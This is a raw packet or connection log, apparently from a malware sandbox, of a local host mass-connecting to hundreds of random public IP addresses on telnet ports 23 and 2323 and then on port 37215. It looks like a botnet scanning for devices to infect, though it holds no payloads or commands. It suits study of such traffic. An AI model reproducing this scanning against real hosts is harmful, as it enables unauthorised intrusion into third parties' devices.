Nov 3, 2024 15:37:18.098196983 CET	36201	23	192.168.2.14	162.109.223.80
Nov 3, 2024 15:37:18.098206043 CET	36201	23	192.168.2.14	38.248.145.118
Nov 3, 2024 15:37:18.098206043 CET	36201	23	192.168.2.14	109.139.247.37
Nov 3, 2024 15:37:18.098212004 CET	36201	23	192.168.2.14	139.147.115.248
Nov 3, 2024 15:37:18.098215103 CET	36201	23	192.168.2.14	4.109.214.15
Nov 3, 2024 15:37:18.098215103 CET	36201	23	192.168.2.14	8.253.22.237
Nov 3, 2024 15:37:18.098217010 CET	36201	23	192.168.2.14	68.205.180.194
Nov 3, 2024 15:37:18.098217964 CET	36201	23	192.168.2.14	57.93.143.2
Nov 3, 2024 15:37:18.098222971 CET	36201	23	192.168.2.14	61.191.18.1
Nov 3, 2024 15:37:18.098227024 CET	36201	23	192.168.2.14	79.119.62.48
Nov 3, 2024 15:37:18.098228931 CET	36201	23	192.168.2.14	87.242.204.61
Nov 3, 2024 15:37:18.098228931 CET	36201	2323	192.168.2.14	172.38.254.72
Nov 3, 2024 15:37:18.098237038 CET	36201	23	192.168.2.14	147.117.4.142
Nov 3, 2024 15:37:18.098237991 CET	36201	23	192.168.2.14	72.160.140.157
Nov 3, 2024 15:37:18.098246098 CET	36201	23	192.168.2.14	107.119.16.163
Nov 3, 2024 15:37:18.098253012 CET	36201	23	192.168.2.14	20.239.191.92
Nov 3, 2024 15:37:18.098263979 CET	36201	23	192.168.2.14	46.165.53.156
Nov 3, 2024 15:37:18.098269939 CET	36201	23	192.168.2.14	18.185.144.51
Nov 3, 2024 15:37:18.098269939 CET	36201	23	192.168.2.14	206.64.182.7
Nov 3, 2024 15:37:18.098274946 CET	36201	23	192.168.2.14	179.239.132.107
Nov 3, 2024 15:37:18.098275900 CET	36201	2323	192.168.2.14	190.146.82.211
Nov 3, 2024 15:37:18.098278999 CET	36201	23	192.168.2.14	109.30.8.149
Nov 3, 2024 15:37:18.098299026 CET	36201	23	192.168.2.14	102.138.111.111
Nov 3, 2024 15:37:18.098299980 CET	36201	23	192.168.2.14	105.180.109.78
Nov 3, 2024 15:37:18.098299026 CET	36201	23	192.168.2.14	65.65.19.206
Nov 3, 2024 15:37:18.098304033 CET	36201	23	192.168.2.14	80.182.201.9
Nov 3, 2024 15:37:18.098299026 CET	36201	23	192.168.2.14	209.13.83.12
Nov 3, 2024 15:37:18.098311901 CET	36201	23	192.168.2.14	76.253.20.245
Nov 3, 2024 15:37:18.098324060 CET	36201	23	192.168.2.14	170.251.26.219
Nov 3, 2024 15:37:18.098325968 CET	36201	23	192.168.2.14	88.236.12.12
Nov 3, 2024 15:37:18.098325968 CET	36201	2323	192.168.2.14	119.45.125.139
Nov 3, 2024 15:37:18.098325968 CET	36201	23	192.168.2.14	89.188.255.254
Nov 3, 2024 15:37:18.098330975 CET	36201	23	192.168.2.14	196.217.166.203
Nov 3, 2024 15:37:18.098334074 CET	36201	23	192.168.2.14	97.244.20.233
Nov 3, 2024 15:37:18.098334074 CET	36201	23	192.168.2.14	187.182.238.189
Nov 3, 2024 15:37:18.098334074 CET	36201	23	192.168.2.14	76.78.7.251
Nov 3, 2024 15:37:18.098351002 CET	36201	23	192.168.2.14	65.59.128.217
Nov 3, 2024 15:37:18.098351955 CET	36201	23	192.168.2.14	45.202.15.10
Nov 3, 2024 15:37:18.098351955 CET	36201	23	192.168.2.14	156.221.80.91
Nov 3, 2024 15:37:18.098351955 CET	36201	23	192.168.2.14	42.69.212.65
Nov 3, 2024 15:37:18.098355055 CET	36201	2323	192.168.2.14	66.126.155.65
Nov 3, 2024 15:37:18.098357916 CET	36201	23	192.168.2.14	203.116.207.131
Nov 3, 2024 15:37:18.098371029 CET	36201	23	192.168.2.14	177.43.144.55
Nov 3, 2024 15:37:18.098371983 CET	36201	23	192.168.2.14	180.164.174.245
Nov 3, 2024 15:37:18.098386049 CET	36201	23	192.168.2.14	188.170.74.197
Nov 3, 2024 15:37:18.098392010 CET	36201	23	192.168.2.14	101.9.197.75
Nov 3, 2024 15:37:18.098392010 CET	36201	23	192.168.2.14	177.195.93.100
Nov 3, 2024 15:37:18.098402023 CET	36201	23	192.168.2.14	17.137.134.36
Nov 3, 2024 15:37:18.098402023 CET	36201	23	192.168.2.14	161.163.60.110
Nov 3, 2024 15:37:18.098402023 CET	36201	23	192.168.2.14	133.6.34.206
Nov 3, 2024 15:37:18.098409891 CET	36201	2323	192.168.2.14	47.209.62.246
Nov 3, 2024 15:37:18.098413944 CET	36201	23	192.168.2.14	126.129.133.251
Nov 3, 2024 15:37:18.098413944 CET	36201	23	192.168.2.14	61.23.40.206
Nov 3, 2024 15:37:18.098428011 CET	36201	23	192.168.2.14	136.4.136.176
Nov 3, 2024 15:37:18.098428011 CET	36201	23	192.168.2.14	165.207.211.83
Nov 3, 2024 15:37:18.098428965 CET	36201	23	192.168.2.14	208.231.138.178
Nov 3, 2024 15:37:18.098428011 CET	36201	23	192.168.2.14	163.197.169.161
Nov 3, 2024 15:37:18.098445892 CET	36201	23	192.168.2.14	113.49.213.115
Nov 3, 2024 15:37:18.098448992 CET	36201	2323	192.168.2.14	118.153.227.106
Nov 3, 2024 15:37:18.098452091 CET	36201	23	192.168.2.14	191.79.11.57
Nov 3, 2024 15:37:18.098458052 CET	36201	23	192.168.2.14	42.224.71.151
Nov 3, 2024 15:37:18.098460913 CET	36201	23	192.168.2.14	115.242.93.202
Nov 3, 2024 15:37:18.098460913 CET	36201	23	192.168.2.14	191.3.156.7
Nov 3, 2024 15:37:18.098462105 CET	36201	23	192.168.2.14	75.41.184.202
Nov 3, 2024 15:37:18.098462105 CET	36201	23	192.168.2.14	35.55.27.76
Nov 3, 2024 15:37:18.098464012 CET	36201	23	192.168.2.14	101.216.0.210
Nov 3, 2024 15:37:18.098472118 CET	36201	23	192.168.2.14	186.97.136.128
Nov 3, 2024 15:37:18.098488092 CET	36201	23	192.168.2.14	208.5.99.176
Nov 3, 2024 15:37:18.098490953 CET	36201	23	192.168.2.14	131.1.44.169
Nov 3, 2024 15:37:18.098490953 CET	36201	23	192.168.2.14	5.171.36.124
Nov 3, 2024 15:37:18.098490953 CET	36201	2323	192.168.2.14	181.246.49.105
Nov 3, 2024 15:37:18.098493099 CET	36201	23	192.168.2.14	154.51.46.31
Nov 3, 2024 15:37:18.098507881 CET	36201	23	192.168.2.14	175.90.135.32
Nov 3, 2024 15:37:18.098509073 CET	36201	23	192.168.2.14	81.199.251.238
Nov 3, 2024 15:37:18.098509073 CET	36201	23	192.168.2.14	34.228.106.158
Nov 3, 2024 15:37:18.098510981 CET	36201	23	192.168.2.14	189.89.184.190
Nov 3, 2024 15:37:18.098512888 CET	36201	23	192.168.2.14	164.53.53.224
Nov 3, 2024 15:37:18.098512888 CET	36201	23	192.168.2.14	57.113.27.231
Nov 3, 2024 15:37:18.098514080 CET	36201	23	192.168.2.14	93.188.181.34
Nov 3, 2024 15:37:18.098524094 CET	36201	23	192.168.2.14	82.39.214.173
Nov 3, 2024 15:37:18.098531961 CET	36201	2323	192.168.2.14	193.251.88.113
Nov 3, 2024 15:37:18.098537922 CET	36201	23	192.168.2.14	221.73.129.146
Nov 3, 2024 15:37:18.098540068 CET	36201	23	192.168.2.14	165.84.245.62
Nov 3, 2024 15:37:18.098541975 CET	36201	23	192.168.2.14	90.126.80.121
Nov 3, 2024 15:37:18.098541975 CET	36201	23	192.168.2.14	38.119.23.195
Nov 3, 2024 15:37:18.098541975 CET	36201	23	192.168.2.14	103.47.154.63
Nov 3, 2024 15:37:18.098542929 CET	36201	23	192.168.2.14	17.188.147.109
Nov 3, 2024 15:37:18.098563910 CET	36201	23	192.168.2.14	71.88.151.11
Nov 3, 2024 15:37:18.098563910 CET	36201	23	192.168.2.14	114.86.57.32
Nov 3, 2024 15:37:18.098563910 CET	36201	23	192.168.2.14	207.62.53.144
Nov 3, 2024 15:37:18.098572969 CET	36201	2323	192.168.2.14	87.235.130.1
Nov 3, 2024 15:37:18.098577976 CET	36201	23	192.168.2.14	133.10.55.150
Nov 3, 2024 15:37:18.098577976 CET	36201	23	192.168.2.14	119.158.100.250
Nov 3, 2024 15:37:18.098578930 CET	36201	23	192.168.2.14	170.91.249.140
Nov 3, 2024 15:37:18.098582983 CET	36201	23	192.168.2.14	161.155.164.174
Nov 3, 2024 15:37:18.098582983 CET	36201	23	192.168.2.14	67.81.73.225
Nov 3, 2024 15:37:18.098588943 CET	36201	23	192.168.2.14	84.120.202.244
Nov 3, 2024 15:37:18.098598957 CET	36201	23	192.168.2.14	155.196.37.163
Nov 3, 2024 15:37:18.098601103 CET	36201	23	192.168.2.14	206.165.201.32
Nov 3, 2024 15:37:18.098601103 CET	36201	23	192.168.2.14	20.10.22.207
Nov 3, 2024 15:37:18.098603010 CET	36201	2323	192.168.2.14	206.90.115.20
Nov 3, 2024 15:37:18.098628044 CET	36201	23	192.168.2.14	114.150.70.152
Nov 3, 2024 15:37:18.098630905 CET	36201	23	192.168.2.14	223.63.224.183
Nov 3, 2024 15:37:18.098630905 CET	36201	23	192.168.2.14	44.144.237.156
Nov 3, 2024 15:37:18.098634005 CET	36201	23	192.168.2.14	5.254.25.164
Nov 3, 2024 15:37:18.098634005 CET	36201	2323	192.168.2.14	173.111.236.96
Nov 3, 2024 15:37:18.098635912 CET	36201	23	192.168.2.14	85.6.254.175
Nov 3, 2024 15:37:18.098635912 CET	36201	23	192.168.2.14	153.47.145.21
Nov 3, 2024 15:37:18.098635912 CET	36201	23	192.168.2.14	223.30.2.169
Nov 3, 2024 15:37:18.098635912 CET	36201	23	192.168.2.14	161.121.251.140
Nov 3, 2024 15:37:18.098635912 CET	36201	23	192.168.2.14	149.49.124.4
Nov 3, 2024 15:37:18.098639011 CET	36201	23	192.168.2.14	37.41.181.184
Nov 3, 2024 15:37:18.098642111 CET	36201	23	192.168.2.14	153.172.123.71
Nov 3, 2024 15:37:18.098643064 CET	36201	23	192.168.2.14	198.69.239.58
Nov 3, 2024 15:37:18.098643064 CET	36201	23	192.168.2.14	107.135.218.71
Nov 3, 2024 15:37:18.098643064 CET	36201	23	192.168.2.14	9.175.124.57
Nov 3, 2024 15:37:18.098647118 CET	36201	23	192.168.2.14	82.37.244.185
Nov 3, 2024 15:37:18.098649025 CET	36201	23	192.168.2.14	118.65.163.124
Nov 3, 2024 15:37:18.098651886 CET	36201	23	192.168.2.14	202.244.29.50
Nov 3, 2024 15:37:18.098653078 CET	36201	23	192.168.2.14	38.64.127.253
Nov 3, 2024 15:37:18.102870941 CET	23	52898	170.187.237.13	192.168.2.14
Nov 3, 2024 15:37:18.102881908 CET	23	53136	170.187.237.13	192.168.2.14
Nov 3, 2024 15:37:18.102891922 CET	2323	36201	207.20.184.195	192.168.2.14
Nov 3, 2024 15:37:18.102904081 CET	23	36201	67.245.44.222	192.168.2.14
Nov 3, 2024 15:37:18.102955103 CET	53136	23	192.168.2.14	170.187.237.13
Nov 3, 2024 15:37:18.102971077 CET	36201	2323	192.168.2.14	207.20.184.195
Nov 3, 2024 15:37:18.102971077 CET	36201	23	192.168.2.14	67.245.44.222
Nov 3, 2024 15:37:18.103549957 CET	23	36201	159.183.67.79	192.168.2.14
Nov 3, 2024 15:37:18.103560925 CET	23	36201	39.120.2.147	192.168.2.14
Nov 3, 2024 15:37:18.103570938 CET	23	36201	105.53.72.1	192.168.2.14
Nov 3, 2024 15:37:18.103581905 CET	2323	36201	183.119.193.205	192.168.2.14
Nov 3, 2024 15:37:18.103591919 CET	36201	23	192.168.2.14	39.120.2.147
Nov 3, 2024 15:37:18.103591919 CET	23	36201	176.244.73.65	192.168.2.14
Nov 3, 2024 15:37:18.103595018 CET	36201	23	192.168.2.14	159.183.67.79
Nov 3, 2024 15:37:18.103604078 CET	23	36201	154.178.17.195	192.168.2.14
Nov 3, 2024 15:37:18.103615999 CET	23	36201	150.50.163.195	192.168.2.14
Nov 3, 2024 15:37:18.103619099 CET	36201	23	192.168.2.14	176.244.73.65
Nov 3, 2024 15:37:18.103635073 CET	36201	23	192.168.2.14	105.53.72.1
Nov 3, 2024 15:37:18.103636026 CET	36201	23	192.168.2.14	154.178.17.195
Nov 3, 2024 15:37:18.103645086 CET	23	36201	58.195.19.175	192.168.2.14
Nov 3, 2024 15:37:18.103655100 CET	36201	2323	192.168.2.14	183.119.193.205
Nov 3, 2024 15:37:18.103655100 CET	36201	23	192.168.2.14	150.50.163.195
Nov 3, 2024 15:37:18.103657961 CET	23	36201	173.178.152.236	192.168.2.14
Nov 3, 2024 15:37:18.103669882 CET	23	36201	181.152.17.128	192.168.2.14
Nov 3, 2024 15:37:18.103681087 CET	23	36201	44.138.248.100	192.168.2.14
Nov 3, 2024 15:37:18.103691101 CET	23	36201	114.136.140.218	192.168.2.14
Nov 3, 2024 15:37:18.103697062 CET	23	36201	5.26.147.220	192.168.2.14
Nov 3, 2024 15:37:18.103707075 CET	23	36201	17.5.101.208	192.168.2.14
Nov 3, 2024 15:37:18.103718996 CET	23	36201	45.113.166.32	192.168.2.14
Nov 3, 2024 15:37:18.103723049 CET	23	36201	125.16.216.202	192.168.2.14
Nov 3, 2024 15:37:18.103724957 CET	36201	23	192.168.2.14	58.195.19.175
Nov 3, 2024 15:37:18.103728056 CET	23	36201	74.151.140.110	192.168.2.14
Nov 3, 2024 15:37:18.103729963 CET	36201	23	192.168.2.14	114.136.140.218
Nov 3, 2024 15:37:18.103730917 CET	36201	23	192.168.2.14	173.178.152.236
Nov 3, 2024 15:37:18.103733063 CET	23	36201	146.114.156.162	192.168.2.14
Nov 3, 2024 15:37:18.103734016 CET	36201	23	192.168.2.14	44.138.248.100
Nov 3, 2024 15:37:18.103734016 CET	36201	23	192.168.2.14	181.152.17.128
Nov 3, 2024 15:37:18.103739023 CET	36201	23	192.168.2.14	5.26.147.220
Nov 3, 2024 15:37:18.103744984 CET	23	36201	1.21.219.25	192.168.2.14
Nov 3, 2024 15:37:18.103751898 CET	36201	23	192.168.2.14	17.5.101.208
Nov 3, 2024 15:37:18.103754044 CET	36201	23	192.168.2.14	45.113.166.32
Nov 3, 2024 15:37:18.103759050 CET	36201	23	192.168.2.14	74.151.140.110
Nov 3, 2024 15:37:18.103760958 CET	23	36201	79.83.86.7	192.168.2.14
Nov 3, 2024 15:37:18.103763103 CET	36201	23	192.168.2.14	125.16.216.202
Nov 3, 2024 15:37:18.103766918 CET	36201	23	192.168.2.14	146.114.156.162
Nov 3, 2024 15:37:18.103785992 CET	23	36201	171.48.135.35	192.168.2.14
Nov 3, 2024 15:37:18.103792906 CET	36201	23	192.168.2.14	79.83.86.7
Nov 3, 2024 15:37:18.103795052 CET	36201	23	192.168.2.14	1.21.219.25
Nov 3, 2024 15:37:18.103796959 CET	23	36201	5.42.147.245	192.168.2.14
Nov 3, 2024 15:37:18.103817940 CET	2323	36201	39.64.119.230	192.168.2.14
Nov 3, 2024 15:37:18.103830099 CET	36201	23	192.168.2.14	5.42.147.245
Nov 3, 2024 15:37:18.103832006 CET	36201	23	192.168.2.14	171.48.135.35
Nov 3, 2024 15:37:18.103841066 CET	23	36201	44.224.218.63	192.168.2.14
Nov 3, 2024 15:37:18.103852034 CET	23	36201	9.112.99.193	192.168.2.14
Nov 3, 2024 15:37:18.103862047 CET	36201	2323	192.168.2.14	39.64.119.230
Nov 3, 2024 15:37:18.103863001 CET	23	36201	174.41.19.211	192.168.2.14
Nov 3, 2024 15:37:18.103869915 CET	36201	23	192.168.2.14	44.224.218.63
Nov 3, 2024 15:37:18.103878021 CET	23	36201	169.27.193.251	192.168.2.14
Nov 3, 2024 15:37:18.103887081 CET	36201	23	192.168.2.14	9.112.99.193
Nov 3, 2024 15:37:18.103888988 CET	23	36201	173.209.165.134	192.168.2.14
Nov 3, 2024 15:37:18.103892088 CET	36201	23	192.168.2.14	174.41.19.211
Nov 3, 2024 15:37:18.103899956 CET	23	36201	68.147.231.146	192.168.2.14
Nov 3, 2024 15:37:18.103913069 CET	23	36201	58.35.202.204	192.168.2.14
Nov 3, 2024 15:37:18.103913069 CET	36201	23	192.168.2.14	169.27.193.251
Nov 3, 2024 15:37:18.103923082 CET	36201	23	192.168.2.14	173.209.165.134
Nov 3, 2024 15:37:18.103925943 CET	23	36201	122.29.129.168	192.168.2.14
Nov 3, 2024 15:37:18.103935003 CET	36201	23	192.168.2.14	68.147.231.146
Nov 3, 2024 15:37:18.103936911 CET	23	36201	88.66.101.169	192.168.2.14
Nov 3, 2024 15:37:18.103945971 CET	36201	23	192.168.2.14	58.35.202.204
Nov 3, 2024 15:37:18.103950024 CET	36201	23	192.168.2.14	122.29.129.168
Nov 3, 2024 15:37:18.103969097 CET	23	36201	163.2.65.4	192.168.2.14
Nov 3, 2024 15:37:18.103980064 CET	2323	36201	31.1.102.108	192.168.2.14
Nov 3, 2024 15:37:18.103997946 CET	23	36201	160.231.191.152	192.168.2.14
Nov 3, 2024 15:37:18.104002953 CET	23	36201	59.96.11.74	192.168.2.14
Nov 3, 2024 15:37:18.104007006 CET	36201	23	192.168.2.14	88.66.101.169
Nov 3, 2024 15:37:18.104007959 CET	23	36201	110.147.188.221	192.168.2.14
Nov 3, 2024 15:37:18.104012966 CET	36201	23	192.168.2.14	163.2.65.4
Nov 3, 2024 15:37:18.104021072 CET	23	36201	162.109.223.80	192.168.2.14
Nov 3, 2024 15:37:18.104029894 CET	36201	23	192.168.2.14	59.96.11.74
Nov 3, 2024 15:37:18.104031086 CET	36201	23	192.168.2.14	160.231.191.152
Nov 3, 2024 15:37:18.104034901 CET	36201	2323	192.168.2.14	31.1.102.108
Nov 3, 2024 15:37:18.104037046 CET	36201	23	192.168.2.14	110.147.188.221
Nov 3, 2024 15:37:18.104042053 CET	2323	36201	142.108.202.18	192.168.2.14
Nov 3, 2024 15:37:18.104054928 CET	36201	23	192.168.2.14	162.109.223.80
Nov 3, 2024 15:37:18.104055882 CET	23	36201	139.147.115.248	192.168.2.14
Nov 3, 2024 15:37:18.104067087 CET	23	36201	38.248.145.118	192.168.2.14
Nov 3, 2024 15:37:18.104079008 CET	23	36201	109.139.247.37	192.168.2.14
Nov 3, 2024 15:37:18.104084015 CET	23	36201	68.205.180.194	192.168.2.14
Nov 3, 2024 15:37:18.104084015 CET	36201	2323	192.168.2.14	142.108.202.18
Nov 3, 2024 15:37:18.104085922 CET	36201	23	192.168.2.14	139.147.115.248
Nov 3, 2024 15:37:18.104094028 CET	23	36201	57.93.143.2	192.168.2.14
Nov 3, 2024 15:37:18.104108095 CET	36201	23	192.168.2.14	38.248.145.118
Nov 3, 2024 15:37:18.104108095 CET	36201	23	192.168.2.14	109.139.247.37
Nov 3, 2024 15:37:18.104109049 CET	23	36201	4.109.214.15	192.168.2.14
Nov 3, 2024 15:37:18.104110003 CET	36201	23	192.168.2.14	68.205.180.194
Nov 3, 2024 15:37:18.104130030 CET	23	36201	8.253.22.237	192.168.2.14
Nov 3, 2024 15:37:18.104139090 CET	36201	23	192.168.2.14	57.93.143.2
Nov 3, 2024 15:37:18.104139090 CET	36201	23	192.168.2.14	4.109.214.15
Nov 3, 2024 15:37:18.104141951 CET	23	36201	61.191.18.1	192.168.2.14
Nov 3, 2024 15:37:18.104152918 CET	23	36201	79.119.62.48	192.168.2.14
Nov 3, 2024 15:37:18.104162931 CET	23	36201	87.242.204.61	192.168.2.14
Nov 3, 2024 15:37:18.104165077 CET	36201	23	192.168.2.14	8.253.22.237
Nov 3, 2024 15:37:18.104175091 CET	2323	36201	172.38.254.72	192.168.2.14
Nov 3, 2024 15:37:18.104185104 CET	36201	23	192.168.2.14	79.119.62.48
Nov 3, 2024 15:37:18.104191065 CET	36201	23	192.168.2.14	61.191.18.1
Nov 3, 2024 15:37:18.104192019 CET	36201	23	192.168.2.14	87.242.204.61
Nov 3, 2024 15:37:18.104204893 CET	23	36201	147.117.4.142	192.168.2.14
Nov 3, 2024 15:37:18.104216099 CET	23	36201	72.160.140.157	192.168.2.14
Nov 3, 2024 15:37:18.104218006 CET	36201	2323	192.168.2.14	172.38.254.72
Nov 3, 2024 15:37:18.104226112 CET	23	36201	107.119.16.163	192.168.2.14
Nov 3, 2024 15:37:18.104238033 CET	23	36201	20.239.191.92	192.168.2.14
Nov 3, 2024 15:37:18.104238987 CET	36201	23	192.168.2.14	147.117.4.142
Nov 3, 2024 15:37:18.104248047 CET	36201	23	192.168.2.14	72.160.140.157
Nov 3, 2024 15:37:18.104255915 CET	36201	23	192.168.2.14	107.119.16.163
Nov 3, 2024 15:37:18.104266882 CET	23	36201	46.165.53.156	192.168.2.14
Nov 3, 2024 15:37:18.104279995 CET	36201	23	192.168.2.14	20.239.191.92
Nov 3, 2024 15:37:18.104284048 CET	23	36201	206.64.182.7	192.168.2.14
Nov 3, 2024 15:37:18.104296923 CET	23	36201	18.185.144.51	192.168.2.14
Nov 3, 2024 15:37:18.104306936 CET	36201	23	192.168.2.14	46.165.53.156
Nov 3, 2024 15:37:18.104306936 CET	23	36201	179.239.132.107	192.168.2.14
Nov 3, 2024 15:37:18.104329109 CET	2323	36201	190.146.82.211	192.168.2.14
Nov 3, 2024 15:37:18.104335070 CET	36201	23	192.168.2.14	206.64.182.7
Nov 3, 2024 15:37:18.104343891 CET	36201	23	192.168.2.14	179.239.132.107
Nov 3, 2024 15:37:18.104345083 CET	23	36201	109.30.8.149	192.168.2.14
Nov 3, 2024 15:37:18.104346991 CET	36201	23	192.168.2.14	18.185.144.51
Nov 3, 2024 15:37:18.104356050 CET	23	36201	65.65.19.206	192.168.2.14
Nov 3, 2024 15:37:18.104362965 CET	36201	2323	192.168.2.14	190.146.82.211
Nov 3, 2024 15:37:18.104366064 CET	23	36201	105.180.109.78	192.168.2.14
Nov 3, 2024 15:37:18.104378939 CET	36201	23	192.168.2.14	109.30.8.149
Nov 3, 2024 15:37:18.104378939 CET	23	36201	102.138.111.111	192.168.2.14
Nov 3, 2024 15:37:18.104388952 CET	36201	23	192.168.2.14	65.65.19.206
Nov 3, 2024 15:37:18.104392052 CET	36201	23	192.168.2.14	105.180.109.78
Nov 3, 2024 15:37:18.104420900 CET	36201	23	192.168.2.14	102.138.111.111
Nov 3, 2024 15:37:18.201313019 CET	37796	23	192.168.2.14	37.39.59.152
Nov 3, 2024 15:37:18.201323032 CET	38286	23	192.168.2.14	204.197.24.89
Nov 3, 2024 15:37:18.201323032 CET	44396	23	192.168.2.14	92.178.244.94
Nov 3, 2024 15:37:18.201342106 CET	57890	23	192.168.2.14	44.168.131.54
Nov 3, 2024 15:37:18.201342106 CET	46698	2323	192.168.2.14	70.208.94.20
Nov 3, 2024 15:37:18.201342106 CET	32808	23	192.168.2.14	110.209.199.58
Nov 3, 2024 15:37:18.201343060 CET	46470	23	192.168.2.14	123.228.107.41
Nov 3, 2024 15:37:18.201345921 CET	47048	23	192.168.2.14	157.186.69.99
Nov 3, 2024 15:37:18.201358080 CET	54618	23	192.168.2.14	64.50.83.57
Nov 3, 2024 15:37:18.201359034 CET	54160	23	192.168.2.14	193.9.168.134
Nov 3, 2024 15:37:18.201359034 CET	40836	23	192.168.2.14	40.112.119.143
Nov 3, 2024 15:37:18.201359034 CET	50520	23	192.168.2.14	48.144.211.27
Nov 3, 2024 15:37:18.201368093 CET	40848	23	192.168.2.14	188.140.168.11
Nov 3, 2024 15:37:18.201368093 CET	46384	23	192.168.2.14	71.215.194.126
Nov 3, 2024 15:37:18.201376915 CET	60162	23	192.168.2.14	8.127.170.172
Nov 3, 2024 15:37:18.201380014 CET	32950	23	192.168.2.14	180.136.220.145
Nov 3, 2024 15:37:18.201409101 CET	53590	23	192.168.2.14	9.100.226.225
Nov 3, 2024 15:37:18.206274033 CET	23	38286	204.197.24.89	192.168.2.14
Nov 3, 2024 15:37:18.206285000 CET	23	37796	37.39.59.152	192.168.2.14
Nov 3, 2024 15:37:18.206295013 CET	23	44396	92.178.244.94	192.168.2.14
Nov 3, 2024 15:37:18.206310034 CET	23	46470	123.228.107.41	192.168.2.14
Nov 3, 2024 15:37:18.206327915 CET	23	57890	44.168.131.54	192.168.2.14
Nov 3, 2024 15:37:18.206337929 CET	23	47048	157.186.69.99	192.168.2.14
Nov 3, 2024 15:37:18.206357956 CET	37796	23	192.168.2.14	37.39.59.152
Nov 3, 2024 15:37:18.206365108 CET	38286	23	192.168.2.14	204.197.24.89
Nov 3, 2024 15:37:18.206365108 CET	46470	23	192.168.2.14	123.228.107.41
Nov 3, 2024 15:37:18.206365108 CET	44396	23	192.168.2.14	92.178.244.94
Nov 3, 2024 15:37:18.206377983 CET	57890	23	192.168.2.14	44.168.131.54
Nov 3, 2024 15:37:18.206382990 CET	47048	23	192.168.2.14	157.186.69.99
Nov 3, 2024 15:37:18.206398010 CET	2323	46698	70.208.94.20	192.168.2.14
Nov 3, 2024 15:37:18.206408024 CET	23	32808	110.209.199.58	192.168.2.14
Nov 3, 2024 15:37:18.206425905 CET	23	40848	188.140.168.11	192.168.2.14
Nov 3, 2024 15:37:18.206439972 CET	23	54618	64.50.83.57	192.168.2.14
Nov 3, 2024 15:37:18.206444979 CET	46698	2323	192.168.2.14	70.208.94.20
Nov 3, 2024 15:37:18.206444979 CET	32808	23	192.168.2.14	110.209.199.58
Nov 3, 2024 15:37:18.206456900 CET	23	54160	193.9.168.134	192.168.2.14
Nov 3, 2024 15:37:18.206465006 CET	40848	23	192.168.2.14	188.140.168.11
Nov 3, 2024 15:37:18.206470966 CET	54618	23	192.168.2.14	64.50.83.57
Nov 3, 2024 15:37:18.206509113 CET	54160	23	192.168.2.14	193.9.168.134
Nov 3, 2024 15:37:18.425312996 CET	34720	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:18.425312996 CET	47912	37215	192.168.2.14	197.16.70.251
Nov 3, 2024 15:37:18.425313950 CET	39952	37215	192.168.2.14	197.90.159.24
Nov 3, 2024 15:37:18.425338030 CET	51816	37215	192.168.2.14	197.224.117.44
Nov 3, 2024 15:37:18.425338030 CET	56188	37215	192.168.2.14	197.111.18.97
Nov 3, 2024 15:37:18.425338030 CET	54480	37215	192.168.2.14	41.247.170.119
Nov 3, 2024 15:37:18.425340891 CET	42402	37215	192.168.2.14	41.161.10.54
Nov 3, 2024 15:37:18.425338030 CET	34834	37215	192.168.2.14	197.21.175.100
Nov 3, 2024 15:37:18.425343037 CET	51862	37215	192.168.2.14	156.97.250.9
Nov 3, 2024 15:37:18.425340891 CET	53970	37215	192.168.2.14	156.161.87.44
Nov 3, 2024 15:37:18.425343037 CET	40914	37215	192.168.2.14	197.188.33.13
Nov 3, 2024 15:37:18.425339937 CET	56290	37215	192.168.2.14	156.112.101.146
Nov 3, 2024 15:37:18.425343037 CET	45172	37215	192.168.2.14	197.90.144.201
Nov 3, 2024 15:37:18.425343037 CET	47522	37215	192.168.2.14	197.187.157.10
Nov 3, 2024 15:37:18.425340891 CET	47976	37215	192.168.2.14	41.101.55.111
Nov 3, 2024 15:37:18.425357103 CET	44292	37215	192.168.2.14	156.54.59.119
Nov 3, 2024 15:37:18.425339937 CET	50084	37215	192.168.2.14	41.211.34.10
Nov 3, 2024 15:37:18.425340891 CET	39822	37215	192.168.2.14	41.69.242.159
Nov 3, 2024 15:37:18.425358057 CET	41452	37215	192.168.2.14	197.151.158.33
Nov 3, 2024 15:37:18.425357103 CET	56030	37215	192.168.2.14	41.235.192.220
Nov 3, 2024 15:37:18.425343037 CET	58480	37215	192.168.2.14	156.196.18.50
Nov 3, 2024 15:37:18.425364971 CET	33460	37215	192.168.2.14	41.97.40.64
Nov 3, 2024 15:37:18.425358057 CET	45162	37215	192.168.2.14	197.100.11.182
Nov 3, 2024 15:37:18.425338030 CET	45662	37215	192.168.2.14	41.20.81.173
Nov 3, 2024 15:37:18.425343037 CET	51394	37215	192.168.2.14	156.137.3.199
Nov 3, 2024 15:37:18.425374031 CET	56354	37215	192.168.2.14	156.31.188.224
Nov 3, 2024 15:37:18.425374031 CET	47596	37215	192.168.2.14	197.163.52.70
Nov 3, 2024 15:37:18.425374031 CET	39856	37215	192.168.2.14	197.102.60.80
Nov 3, 2024 15:37:18.425379038 CET	51324	37215	192.168.2.14	156.56.134.130
Nov 3, 2024 15:37:18.425379038 CET	56638	37215	192.168.2.14	41.175.242.142
Nov 3, 2024 15:37:18.425379038 CET	54272	37215	192.168.2.14	156.80.13.173
Nov 3, 2024 15:37:18.425379038 CET	41718	37215	192.168.2.14	156.179.100.125
Nov 3, 2024 15:37:18.425379038 CET	42290	37215	192.168.2.14	156.207.100.120
Nov 3, 2024 15:37:18.425380945 CET	42766	37215	192.168.2.14	156.73.3.236
Nov 3, 2024 15:37:18.425380945 CET	33632	37215	192.168.2.14	197.237.172.189
Nov 3, 2024 15:37:18.425380945 CET	45490	37215	192.168.2.14	156.15.167.152
Nov 3, 2024 15:37:18.425381899 CET	48906	37215	192.168.2.14	41.129.59.130
Nov 3, 2024 15:37:18.425380945 CET	45074	37215	192.168.2.14	41.16.193.192
Nov 3, 2024 15:37:18.425383091 CET	42044	37215	192.168.2.14	41.53.15.217
Nov 3, 2024 15:37:18.425381899 CET	41266	37215	192.168.2.14	41.145.15.102
Nov 3, 2024 15:37:18.425383091 CET	60206	37215	192.168.2.14	41.178.239.255
Nov 3, 2024 15:37:18.425384998 CET	40818	37215	192.168.2.14	41.178.171.67
Nov 3, 2024 15:37:18.425381899 CET	49778	37215	192.168.2.14	41.60.166.185
Nov 3, 2024 15:37:18.425384998 CET	56806	37215	192.168.2.14	156.67.212.17
Nov 3, 2024 15:37:18.425384998 CET	42594	37215	192.168.2.14	156.207.52.16
Nov 3, 2024 15:37:18.425386906 CET	52610	37215	192.168.2.14	41.42.71.2
Nov 3, 2024 15:37:18.425386906 CET	46336	37215	192.168.2.14	197.91.123.208
